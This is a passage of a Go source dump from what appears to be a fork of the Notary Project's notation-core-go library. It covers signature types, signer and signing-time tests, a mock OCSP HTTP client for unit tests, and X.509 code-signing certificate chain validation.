t.Errorf("expect error but got nil") 126 | } 127 | if raw != nil { 128 | t.Errorf("expect nil raw signature but got %v", raw) 129 | } 130 | if certs != nil { 131 | t.Errorf("expect nil certs but got %v", certs) 132 | } 133 | } 134 | 135 | func TestKeySpec(t *testing.T) { 136 | expectKeySpec := KeySpec{ 137 | Type: KeyTypeRSA, 138 | Size: 256, 139 | } 140 | signer := &localSigner{keySpec: expectKeySpec} 141 | 142 | keySpec, err := signer.KeySpec() 143 | 144 | if err != nil { 145 | t.Errorf("expect no error but got %v", err) 146 | } 147 | if !reflect.DeepEqual(keySpec, expectKeySpec) { 148 | t.Errorf("expect keySpec %+v, got %+v", expectKeySpec, keySpec) 149 | } 150 | } 151 | 152 | func TestCertificateChain(t *testing.T) { 153 | expectCerts := []*x509.Certificate{ 154 | testhelper.GetRSALeafCertificate().Cert, 155 | } 156 | signer := &localSigner{certs: expectCerts} 157 | 158 | certs, err := signer.CertificateChain() 159 | 160 | if err != nil { 161 | t.Errorf("expect no error but got %v", err) 162 | } 163 | if !reflect.DeepEqual(certs, expectCerts) { 164 | t.Errorf("expect certs %+v, got %+v", expectCerts, certs) 165 | } 166 | } 167 | 168 | func TestPrivateKey(t *testing.T) { 169 | expectKey := testhelper.GetRSALeafCertificate().PrivateKey 170 | signer := &localSigner{key: expectKey} 171 | 172 | key := signer.PrivateKey() 173 | 174 | if !reflect.DeepEqual(key, expectKey) { 175 | t.Errorf("expect key %+v, got %+v", expectKey, key) 176 | } 177 | } 178 | 179 | func TestVerifyAuthenticity(t *testing.T) { 180 | tests := []struct { 181 | name string 182 | signerInfo *SignerInfo 183 | certs []*x509.Certificate 184 | expect *x509.Certificate 185 | expectErr bool 186 | }{ 187 | { 188 | name: "empty certs", 189 | signerInfo: nil, 190 | certs: make([]*x509.Certificate, 0), 191 | expect: nil, 192 | expectErr: true, 193 | }, 194 | { 195 | name: "nil signerInfo", 196 | signerInfo: nil, 197 | certs: []*x509.Certificate{ 198 | testhelper.GetECLeafCertificate().Cert, 199 | }, 200 | expect: nil, 201 | expectErr: true, 202 | }, 203 | { 204 | name: "no cert matches", 205 | signerInfo: &SignerInfo{}, 206 | certs: []*x509.Certificate{ 207 | testhelper.GetECLeafCertificate().Cert, 208 | }, 209 | expect: nil, 210 | expectErr: true, 211 | }, 212 | { 213 | name: "cert matches", 214 | signerInfo: &SignerInfo{ 215 | CertificateChain: []*x509.Certificate{ 216 | testhelper.GetECLeafCertificate().Cert, 217 | }, 218 | }, 219 | certs: []*x509.Certificate{ 220 | testhelper.GetECLeafCertificate().Cert, 221 | }, 222 | expect: testhelper.GetECLeafCertificate().Cert, 223 | expectErr: false, 224 | }, 225 | } 226 | 227 | for _, tt := range tests { 228 | t.Run(tt.name, func(t *testing.T) { 229 | cert, err := VerifyAuthenticity(tt.signerInfo, tt.certs) 230 | 231 | if (err != nil) != tt.expectErr { 232 | t.Errorf("error = %v, expectErr = %v", err, tt.expectErr) 233 | } 234 | if !reflect.DeepEqual(cert, tt.expect) { 235 | t.Errorf("expect cert %+v, got %+v", tt.expect, cert) 236 | } 237 | }) 238 | } 239 | } 240 | -------------------------------------------------------------------------------- /signature/types.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package signature 15 | 16 | import ( 17 | "context" 18 | "crypto/x509" 19 | "errors" 20 | "fmt" 21 | "time" 22 | 23 | "github.com/sugarylentil/notation-core-go/revocation" 24 | "github.com/notaryproject/tspclient-go" 25 | ) 26 | 27 | // SignatureMediaType list the supported media-type for signatures. 28 | type SignatureMediaType string 29 | 30 | // SigningScheme formalizes the feature set (guarantees) provided by 31 | // the signature. 32 | // Reference: https://github.com/notaryproject/notaryproject/blob/main/specs/signing-scheme.md 33 | type SigningScheme string 34 | 35 | // SigningSchemes supported by notation. 36 | const ( 37 | // notary.x509 signing scheme. 38 | SigningSchemeX509 SigningScheme = "notary.x509" 39 | 40 | // notary.x509.signingAuthority schema. 41 | SigningSchemeX509SigningAuthority SigningScheme = "notary.x509.signingAuthority" 42 | ) 43 | 44 | // SignedAttributes represents signed metadata in the signature envelope. 45 | // Reference: https://github.com/notaryproject/notaryproject/blob/main/specs/signature-specification.md#signed-attributes 46 | type SignedAttributes struct { 47 | // SigningScheme defines the Notary Project Signing Scheme used by the signature. 48 | SigningScheme SigningScheme 49 | 50 | // SigningTime indicates the time at which the signature was generated. 51 | SigningTime time.Time 52 | 53 | // Expiry provides a “best by use” time for the artifact. 54 | Expiry time.Time 55 | 56 | // additional signed attributes in the signature envelope. 57 | ExtendedAttributes []Attribute 58 | } 59 | 60 | // UnsignedAttributes represents unsigned metadata in the Signature envelope. 61 | // Reference: https://github.com/notaryproject/notaryproject/blob/main/specs/signature-specification.md#unsigned-attributes 62 | type UnsignedAttributes struct { 63 | // TimestampSignature is a counter signature providing authentic timestamp. 64 | TimestampSignature []byte 65 | 66 | // SigningAgent provides the identifier of the software (e.g. Notation) that 67 | // produces the signature on behalf of the user. 68 | SigningAgent string 69 | } 70 | 71 | // Attribute represents metadata in the Signature envelope. 72 | type Attribute struct { 73 | // Key is the key name of the attribute. 74 | Key any 75 | 76 | // Critical marks the attribute that MUST be processed by a verifier. 77 | Critical bool 78 | 79 | // Value is the value of the attribute. 80 | Value any 81 | } 82 | 83 | // SignRequest is used to generate Signature. 84 | type SignRequest struct { 85 | // Payload is the payload to be signed. 86 | // 87 | // For JWS envelope, Payload.Content is limited to be JSON format. 88 | Payload Payload 89 | 90 | // Signer is the signer used to sign the digest. 91 | Signer Signer 92 | 93 | // SigningTime is the time at which the signature was generated. 94 | SigningTime time.Time 95 | 96 | // Expiry provides a “best by use” time for the artifact. 97 | Expiry time.Time 98 | 99 | // ExtendedSignedAttributes is additional signed attributes in the 100 | // signature envelope. 101 | ExtendedSignedAttributes []Attribute 102 | 103 | // SigningAgent provides the identifier of the software (e.g. Notation) 104 | // that produced the signature on behalf of the user. 105 | SigningAgent string 106 | 107 | // SigningScheme defines the Notary Project Signing Scheme used by the signature. 108 | SigningScheme SigningScheme 109 | 110 | // Timestamper denotes the timestamper for RFC 3161 timestamping 111 | Timestamper tspclient.Timestamper 112 | 113 | // TSARootCAs is the set of caller trusted TSA root certificates 114 | TSARootCAs *x509.CertPool 115 | 116 | // TSARevocationValidator is used for timestamping certificate 117 | // chain revocation check after signing. 118 | // When present, only used when timestamping is performed. 119 | TSARevocationValidator revocation.Validator 120 | 121 | // ctx is the caller context. It should only be modified via WithContext. 122 | // It is unexported to prevent people from using Context wrong 123 | // and mutating the contexts held by callers of the same request. 124 | ctx context.Context 125 | } 126 | 127 | // Context returns the SignRequest's context. To change the context, use 128 | // [SignRequest.WithContext]. 129 | // 130 | // The returned context is always non-nil; it defaults to the 131 | // background context. 132 | func (r *SignRequest) Context() context.Context { 133 | if r.ctx != nil { 134 | return r.ctx 135 | } 136 | return context.Background() 137 | } 138 | 139 | // WithContext returns a shallow copy of r with its context changed 140 | // to ctx. The provided ctx must be non-nil. 141 | func (r *SignRequest) WithContext(ctx context.Context) *SignRequest { 142 | if ctx == nil { 143 | panic("nil context") 144 | } 145 | r2 := new(SignRequest) 146 | *r2 = *r 147 | r2.ctx = ctx 148 | return r2 149 | } 150 | 151 | // EnvelopeContent represents a combination of payload to be signed and a parsed 152 | // signature envelope. 153 | type EnvelopeContent struct { 154 | // SignerInfo is a parsed signature envelope. 155 | SignerInfo SignerInfo 156 | 157 | // Payload is payload to be signed. 158 | Payload Payload 159 | } 160 | 161 | // SignerInfo represents a parsed signature envelope that is agnostic to 162 | // signature envelope format. 163 | type SignerInfo struct { 164 | // SignedAttributes are additional metadata required to support the 165 | // signature verification process. 166 | SignedAttributes SignedAttributes 167 | 168 | // UnsignedAttributes are considered unsigned with respect to the signing 169 | // key that generates the signature. 170 | UnsignedAttributes UnsignedAttributes 171 | 172 | // SignatureAlgorithm defines the signature algorithm. 173 | SignatureAlgorithm Algorithm 174 | 175 | // CertificateChain is an ordered list of X.509 public certificates 176 | // associated with the signing key used to generate the signature. 177 | // The ordered list starts with the signing certificates, any intermediate 178 | // certificates and ends with the root certificate. 179 | CertificateChain []*x509.Certificate 180 | 181 | // Signature is the bytes generated from the signature. 182 | Signature []byte 183 | } 184 | 185 | // Payload represents payload in bytes and its content type. 186 | type Payload struct { 187 | // ContentType specifies the content type of payload. 188 | ContentType string 189 | 190 | // Content contains the raw bytes of the payload. 191 | // 192 | // For JWS envelope, Content is limited to be JSON format. 193 | Content []byte 194 | } 195 | 196 | // ExtendedAttribute fetches the specified Attribute with provided key from 197 | // signerInfo.SignedAttributes.ExtendedAttributes. 198 | func (signerInfo *SignerInfo) ExtendedAttribute(key string) (Attribute, error) { 199 | for _, attr := range signerInfo.SignedAttributes.ExtendedAttributes { 200 | if attr.Key == key { 201 | return attr, nil 202 | } 203 | } 204 | return Attribute{}, errors.New("key not in ExtendedAttributes") 205 | } 206 | 207 | // AuthenticSigningTime returns the authentic signing time under signing scheme 208 | // notary.x509.signingAuthority. 209 | // For signing scheme notary.x509, since it only supports authentic timestamp, 210 | // an error is returned. 211 | // 212 | // Reference: https://github.com/notaryproject/specifications/blob/3b0743cd9bb99faee60600dc31d706149775fd49/specs/signature-specification.md#signing-time--authentic-signing-time 213 | func (signerInfo *SignerInfo) AuthenticSigningTime() (time.Time, error) { 214 | switch signingScheme := signerInfo.SignedAttributes.SigningScheme; signingScheme { 215 | case SigningSchemeX509SigningAuthority: 216 | signingTime := signerInfo.SignedAttributes.SigningTime 217 | if signingTime.IsZero() { 218 | return time.Time{}, fmt.Errorf("authentic signing time must be present under signing scheme %q", signingScheme) 219 | } 220 | return signingTime, nil 221 | default: 222 | return time.Time{}, fmt.Errorf("authentic signing time not supported under signing scheme %q", signingScheme) 223 | } 224 | } 225 | -------------------------------------------------------------------------------- /signature/types_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package signature 15 | 16 | import ( 17 | "context" 18 | "fmt" 19 | "testing" 20 | "time" 21 | ) 22 | 23 | func TestSignRequestContext(t *testing.T) { 24 | r := &SignRequest{ 25 | ctx: context.WithValue(context.Background(), "k1", "v1"), 26 | } 27 | 28 | ctx := r.Context() 29 | if ctx.Value("k1") != "v1" { 30 | t.Fatal("expected k1:v1 in ctx") 31 | } 32 | 33 | r = &SignRequest{} 34 | ctx = r.Context() 35 | if fmt.Sprint(ctx) != "context.Background" { 36 | t.Fatal("expected context.Background") 37 | } 38 | } 39 | 40 | func TestSignRequestWithContext(t *testing.T) { 41 | r := &SignRequest{} 42 | ctx := context.WithValue(context.Background(), "k1", "v1") 43 | r = r.WithContext(ctx) 44 | if r.ctx.Value("k1") != "v1" { 45 | t.Fatal("expected k1:v1 in request ctx") 46 | } 47 | 48 | defer func() { 49 | if rc := recover(); rc == nil { 50 | t.Errorf("expected to be panic") 51 | } 52 | }() 53 | r.WithContext(nil) // should panic 54 | } 55 | 56 | func TestAuthenticSigningTime(t *testing.T) { 57 | testTime := time.Now() 58 | signerInfo := SignerInfo{ 59 | SignedAttributes: SignedAttributes{ 60 | SigningScheme: "notary.x509.signingAuthority", 61 | SigningTime: testTime, 62 | }, 63 | } 64 | authenticSigningTime, err := signerInfo.AuthenticSigningTime() 65 | if err != nil { 66 | t.Fatal(err) 67 | } 68 | if !authenticSigningTime.Equal(testTime) { 69 | t.Fatalf("expected %s, but got %s", testTime, authenticSigningTime) 70 | } 71 | 72 | signerInfo = SignerInfo{ 73 | SignedAttributes: SignedAttributes{ 74 | SigningScheme: "notary.x509.signingAuthority", 75 | }, 76 | } 77 | expectedErrMsg := "authentic signing time must be present under signing scheme \"notary.x509.signingAuthority\"" 78 | _, err = signerInfo.AuthenticSigningTime() 79 | if err == nil || err.Error() != expectedErrMsg { 80 | t.Fatalf("expected %s, but got %s", expectedErrMsg, err) 81 | } 82 | 83 | signerInfo = SignerInfo{ 84 | SignedAttributes: SignedAttributes{ 85 | SigningScheme: "notary.x509", 86 | }, 87 | } 88 | expectedErrMsg = "authentic signing time not supported under signing scheme \"notary.x509\"" 89 | _, err = signerInfo.AuthenticSigningTime() 90 | if err == nil || err.Error() != expectedErrMsg { 91 | t.Fatalf("expected %s, but got %s", expectedErrMsg, err) 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /testhelper/httptest.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package testhelper implements utility routines required for writing unit tests. 15 | // The testhelper should only be used in unit tests. 16 | package testhelper 17 | 18 | import ( 19 | "bytes" 20 | "crypto/x509/pkix" 21 | "encoding/asn1" 22 | "errors" 23 | "fmt" 24 | "io" 25 | "net/http" 26 | "regexp" 27 | "strconv" 28 | "strings" 29 | "time" 30 | 31 | "golang.org/x/crypto/ocsp" 32 | ) 33 | 34 | type spyRoundTripper struct { 35 | backupTransport http.RoundTripper 36 | certChain []RSACertTuple 37 | desiredOCSPStatuses []ocsp.ResponseStatus 38 | revokedTime *time.Time 39 | validPKIXNoCheck bool 40 | } 41 | 42 | func (s spyRoundTripper) roundTripResponse(index int, expired bool) (*http.Response, error) { 43 | // Verify index of cert in chain 44 | if index == (len(s.certChain) - 1) { 45 | return nil, errors.New("OCSP cannot be performed on root") 46 | } else if index > (len(s.certChain) - 1) { 47 | return nil, errors.New("index exceeded chain size") 48 | } 49 | 50 | // Get desired status for index 51 | var status ocsp.ResponseStatus 52 | if index < len(s.desiredOCSPStatuses) { 53 | status = s.desiredOCSPStatuses[index] 54 | } else if len(s.desiredOCSPStatuses) == 0 { 55 | status = ocsp.Good 56 | } else { 57 | // Use last status from passed statuses 58 | status = s.desiredOCSPStatuses[len(s.desiredOCSPStatuses)-1] 59 | } 60 | 61 | // Create template for ocsp response 62 | var nextUpdate time.Time 63 | if expired { 64 | nextUpdate = time.Now().Add(-1 * time.Hour) 65 | } else { 66 | nextUpdate = time.Now().Add(time.Hour) 67 | } 68 | template := ocsp.Response{ 69 | Status: int(status), 70 | SerialNumber: s.certChain[index].Cert.SerialNumber, 71 | NextUpdate: nextUpdate, 72 | } 73 | if status == ocsp.Revoked { 74 | if s.revokedTime != nil { 75 | template.RevokedAt = *s.revokedTime 76 | generalizedTime, _ := asn1.MarshalWithParams(*s.revokedTime, "generalized") 77 | template.ExtraExtensions = []pkix.Extension{{Id: asn1.ObjectIdentifier{2, 5, 29, 24}, Critical: false, Value: generalizedTime}} 78 | } else { 79 | template.RevokedAt = time.Now().Add(-1 * time.Hour) 80 | } 81 | template.RevocationReason = ocsp.Unspecified 82 | } 83 | if s.validPKIXNoCheck { 84 | template.ExtraExtensions = append(template.ExtraExtensions, pkix.Extension{Id: asn1.ObjectIdentifier{1, 3, 6, 1, 5, 5, 7, 48, 1, 5}, Critical: false, Value: nil}) 85 | } 86 | 87 | // Create ocsp response 88 | response, err := ocsp.CreateResponse(s.certChain[index].Cert, s.certChain[index+1].Cert, template, s.certChain[index].PrivateKey) 89 | if err == nil { 90 | return &http.Response{ 91 | Body: io.NopCloser(bytes.NewBuffer(response)), 92 | StatusCode: http.StatusOK, 93 | }, nil 94 | } else { 95 | return nil, err 96 | } 97 | } 98 | 99 | func (s spyRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) { 100 | if match, _ := regexp.MatchString("^\\/ocsp.*", req.URL.Path); match { 101 | return s.roundTripResponse(0, false) 102 | 103 | } else if match, _ := regexp.MatchString("^\\/expired_ocsp.*", req.URL.Path); match { 104 | return s.roundTripResponse(0, true) 105 | 106 | } else if match, _ := regexp.MatchString("^\\/chain_ocsp.*", req.URL.Path); match { 107 | // this url works with the revokable chain, which has url structure /chain_ocsp/ or /chain_ocsp// 108 | index, err := strconv.Atoi(strings.Split(req.URL.Path, "/")[2]) 109 | if err != nil { 110 | return nil, err 111 | } 112 | return s.roundTripResponse(index, false) 113 | 114 | } else { 115 | fmt.Printf("%s did not match a specified path, using default transport", req.URL.Path) 116 | return s.backupTransport.RoundTrip(req) 117 | } 118 | } 119 | 120 | // Creates a mock HTTP Client (more accurately, a spy) that intercepts requests to /issuer and /ocsp endpoints 121 | // The client's responses are dependent on the cert and desiredOCSPStatus 122 | func MockClient(certChain []RSACertTuple, desiredOCSPStatuses []ocsp.ResponseStatus, revokedTime *time.Time, validPKIXNoCheck bool) *http.Client { 123 | return &http.Client{ 124 | Transport: spyRoundTripper{ 125 | backupTransport: http.DefaultTransport, 126 | certChain: certChain, 127 | desiredOCSPStatuses: desiredOCSPStatuses, 128 | revokedTime: revokedTime, 129 | validPKIXNoCheck: validPKIXNoCheck, 130 | }, 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /x509/cert.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package x509 15 | 16 | import ( 17 | "crypto/x509" 18 | "encoding/pem" 19 | "os" 20 | ) 21 | 22 | // ReadCertificateFile reads a certificate PEM or DER file. 23 | func ReadCertificateFile(path string) ([]*x509.Certificate, error) { 24 | data, err := os.ReadFile(path) 25 | if err != nil { 26 | return nil, err 27 | } 28 | return parseCertificates(data) 29 | } 30 | 31 | // parseCertificates parses certificates from either PEM or DER data 32 | // returns an empty list if no certificates are found 33 | func parseCertificates(data []byte) ([]*x509.Certificate, error) { 34 | var certs []*x509.Certificate 35 | block, rest := pem.Decode(data) 36 | if block == nil { 37 | // data may be in DER format 38 | derCerts, err := x509.ParseCertificates(data) 39 | if err != nil { 40 | return nil, err 41 | } 42 | certs = append(certs, derCerts...) 43 | } else { 44 | // data is in PEM format 45 | for block != nil { 46 | cert, err := x509.ParseCertificate(block.Bytes) 47 | if err != nil { 48 | return nil, err 49 | } 50 | certs = append(certs, cert) 51 | block, rest = pem.Decode(rest) 52 | } 53 | } 54 | 55 | return certs, nil 56 | } 57 | -------------------------------------------------------------------------------- /x509/cert_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package x509 15 | 16 | import ( 17 | "crypto/x509" 18 | "testing" 19 | ) 20 | 21 | func TestLoadPemFile(t *testing.T) { 22 | certs, err := ReadCertificateFile("testdata/pem.crt") 23 | verifyNoError(t, err) 24 | verifyNumCerts(t, certs, 1) 25 | } 26 | 27 | func TestLoadMultiPemFile(t *testing.T) { 28 | certs, err := ReadCertificateFile("testdata/multi-pem.crt") 29 | verifyNoError(t, err) 30 | verifyNumCerts(t, certs, 2) 31 | } 32 | 33 | func TestLoadDerFile(t *testing.T) { 34 | certs, err := ReadCertificateFile("testdata/der.der") 35 | verifyNoError(t, err) 36 | verifyNumCerts(t, certs, 1) 37 | } 38 | 39 | func TestLoadMultiDerFile(t *testing.T) { 40 | certs, err := ReadCertificateFile("testdata/multi-der.der") 41 | verifyNoError(t, err) 42 | verifyNumCerts(t, certs, 2) 43 | } 44 | 45 | func TestLoadInvalidFile(t *testing.T) { 46 | certs, err := ReadCertificateFile("testdata/invalid") 47 | if err == nil { 48 | t.Fatalf("invalid file should throw an error") 49 | } 50 | verifyNumCerts(t, certs, 0) 51 | } 52 | 53 | func verifyNoError(t *testing.T, err error) { 54 | if err != nil { 55 | t.Fatalf("Error : %q", err) 56 | } 57 | } 58 | 59 | func verifyNumCerts(t *testing.T, certs []*x509.Certificate, num int) { 60 | if len(certs) != num { 61 | t.Fatalf("test case should return only %d certificate/s", num) 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /x509/codesigning_cert_validations.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package x509 15 | 16 | import ( 17 | "bytes" 18 | "crypto/x509" 19 | "errors" 20 | "fmt" 21 | "time" 22 | 23 | "github.com/sugarylentil/notation-core-go/internal/oid" 24 | ) 25 | 26 | // ValidateCodeSigningCertChain takes an ordered code signing certificate chain 27 | // and validates issuance from leaf to root 28 | // Validates certificates according to this spec: 29 | // https://github.com/notaryproject/notaryproject/blob/main/specs/signature-specification.md#certificate-requirements 30 | func ValidateCodeSigningCertChain(certChain []*x509.Certificate, signingTime *time.Time) error { 31 | if len(certChain) < 1 { 32 | return errors.New("certificate chain must contain at least one certificate") 33 | } 34 | 35 | // For self-signed signing certificate (not a CA) 36 | if len(certChain) == 1 { 37 | cert := certChain[0] 38 | // check self-signed 39 | if err := cert.CheckSignature(cert.SignatureAlgorithm, cert.RawTBSCertificate, cert.Signature); err != nil { 40 | return fmt.Errorf("invalid self-signed certificate. subject: %q. Error: %w", cert.Subject, err) 41 | } 42 | // check self-issued 43 | if !bytes.Equal(cert.RawSubject, cert.RawIssuer) { 44 | return fmt.Errorf("invalid self-signed certificate. subject: %q. Error: issuer(%s) and subject(%s) are not the same", cert.Subject, cert.Issuer, cert.Subject) 45 | } 46 | if signedTimeError := validateSigningTime(cert, signingTime); signedTimeError != nil { 47 | return signedTimeError 48 | } 49 | if err := validateCodeSigningLeafCertificate(cert); err != nil { 50 | return fmt.Errorf("invalid self-signed certificate. Error: %w", err) 51 | } 52 | return nil 53 | } 54 | 55 | for i, cert := range certChain { 56 | if signedTimeError := validateSigningTime(cert, signingTime); signedTimeError != nil { 57 | return signedTimeError 58 | } 59 | if i == len(certChain)-1 { 60 | selfSigned, selfSignedError := isSelfSigned(cert) 61 | if selfSignedError != nil { 62 | return fmt.Errorf("root certificate with subject %q is invalid or not self-signed. Certificate chain must end with a valid self-signed root certificate. Error: %v", cert.Subject, selfSignedError) 63 | } 64 | if !selfSigned { 65 | return fmt.Errorf("root certificate with subject %q is not self-signed. Certificate chain must end with a valid self-signed root certificate", cert.Subject) 66 | } 67 | } else { 68 | // This is to avoid extra/redundant multiple root cert at the end 69 | // of certificate-chain 70 | selfSigned, selfSignedError := isSelfSigned(cert) 71 | // not checking selfSignedError != nil here because we expect 72 | // a non-nil err. For a non-root certificate, it shouldn't be 73 | // self-signed, hence CheckSignatureFrom would return a non-nil 74 | // error. 75 | if selfSignedError == nil && selfSigned { 76 | if i == 0 { 77 | return fmt.Errorf("leaf certificate with subject %q is self-signed. Certificate chain must not contain self-signed leaf certificate", cert.Subject) 78 | } 79 | return fmt.Errorf("intermediate certificate with subject %q is self-signed. Certificate chain must not contain self-signed intermediate certificate", cert.Subject) 80 | } 81 | parentCert := certChain[i+1] 82 | issuedBy, issuedByError := isIssuedBy(cert, parentCert) 83 | if issuedByError != nil { 84 | return fmt.Errorf("invalid certificates or certificate with subject %q is not issued by %q. Error: %v", cert.Subject, parentCert.Subject, issuedByError) 85 | } 86 | if !issuedBy { 87 | return fmt.Errorf("certificate with subject %q is not issued by %q", cert.Subject, parentCert.Subject) 88 | } 89 | } 90 | 91 | if i == 0 { 92 | if err := validateCodeSigningLeafCertificate(cert); err != nil { 93 | return err 94 | } 95 | } else { 96 | if err := validateCodeSigningCACertificate(cert, i-1); err != nil { 97 | return err 98 | } 99 | } 100 | } 101 | return nil 102 | } 103 | 104 | func validateCodeSigningCACertificate(cert *x509.Certificate, expectedPathLen int) error { 105 | if err := validateCABasicConstraints(cert, expectedPathLen); err != nil { 106 | return err 107 | } 108 | return validateCodeSigningCAKeyUsage(cert) 109 | } 110 | 111 | func validateCodeSigningLeafCertificate(cert *x509.Certificate) error { 112 | if err := validateLeafBasicConstraints(cert); err != nil { 113 | return err 114 | } 115 | if err := validateCodeSigningLeafKeyUsage(cert); err != nil { 116 | return err 117 | } 118 | if err := validateCodeSigningExtendedKeyUsage(cert); err != nil { 119 | return err 120 | } 121 | return validateSignatureAlgorithm(cert) 122 | } 123 | 124 | func validateCodeSigningCAKeyUsage(cert *x509.Certificate) error { 125 | if err := validateCodeSigningKeyUsagePresent(cert); err != nil { 126 | return err 127 | } 128 | if cert.KeyUsage&x509.KeyUsageCertSign == 0 { 129 | return fmt.Errorf("certificate with subject %q: key usage must have the bit positions for key cert sign set", cert.Subject) 130 | } 131 | return nil 132 | } 133 | 134 | func validateCodeSigningLeafKeyUsage(cert *x509.Certificate) error { 135 | if err := validateCodeSigningKeyUsagePresent(cert); err != nil { 136 | return err 137 | } 138 | return validateLeafKeyUsage(cert) 139 | } 140 | 141 | func validateCodeSigningKeyUsagePresent(cert *x509.Certificate) error { 142 | var hasKeyUsageExtension bool 143 | for _, ext := range cert.Extensions { 144 | if ext.Id.Equal(oid.KeyUsage) { 145 | if !ext.Critical { 146 | return fmt.Errorf("certificate with subject %q: key usage extension must be marked critical", cert.Subject) 147 | } 148 | hasKeyUsageExtension = true 149 | break 150 | } 151 | } 152 | if !hasKeyUsageExtension { 153 | return fmt.Errorf("certificate with subject %q: key usage extension must be present", cert.Subject) 154 | } 155 | return nil 156 | } 157 | 158 | func validateCodeSigningExtendedKeyUsage(cert *x509.Certificate) error { 159 | if len(cert.ExtKeyUsage) == 0 { 160 | return nil 161 | } 162 | 163 | excludedEkus := []x509.ExtKeyUsage{ 164 | x509.ExtKeyUsageServerAuth, 165 | x509.ExtKeyUsageClientAuth, 166 | x509.ExtKeyUsageEmailProtection, 167 | x509.ExtKeyUsageTimeStamping, 168 | x509.ExtKeyUsageOCSPSigning, 169 | } 170 | 171 | for _, certEku := range cert.ExtKeyUsage { 172 | for _, excludedEku := range excludedEkus { 173 | if certEku == excludedEku { 174 | return fmt.Errorf("certificate with subject %q: extended key usage must not contain %s eku", cert.Subject, ekuToString(excludedEku)) 175 | } 176 | } 177 | } 178 | return nil 179 | } 180 | -------------------------------------------------------------------------------- /x509/helper.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package x509 15 | 16 | import ( 17 | "bytes" 18 | "crypto/x509" 19 | "fmt" 20 | "strings" 21 | "time" 22 | 23 | "github.com/sugarylentil/notation-core-go/internal/algorithm" 24 | ) 25 | 26 | func isSelfSigned(cert *x509.Certificate) (bool, error) { 27 | return isIssuedBy(cert, cert) 28 | } 29 | 30 | func isIssuedBy(subject *x509.Certificate, issuer *x509.Certificate) (bool, error) { 31 | if err := subject.CheckSignatureFrom(issuer); err != nil { 32 | return false, err 33 | } 34 | return bytes.Equal(issuer.RawSubject, subject.RawIssuer), nil 35 | } 36 | 37 | func validateSigningTime(cert *x509.Certificate, signingTime *time.Time) error { 38 | if signingTime != nil && (signingTime.Before(cert.NotBefore) || signingTime.After(cert.NotAfter)) { 39 | return fmt.Errorf("certificate with subject %q was invalid at signing time of %s. Certificate is valid from [%s] to [%s]", 40 | cert.Subject, signingTime.UTC(), cert.NotBefore.UTC(), cert.NotAfter.UTC()) 41 | } 42 | return nil 43 | } 44 | 45 | func validateCABasicConstraints(cert *x509.Certificate, expectedPathLen int) error { 46 | if !cert.BasicConstraintsValid || !cert.IsCA { 47 | return fmt.Errorf("certificate with subject %q: ca field 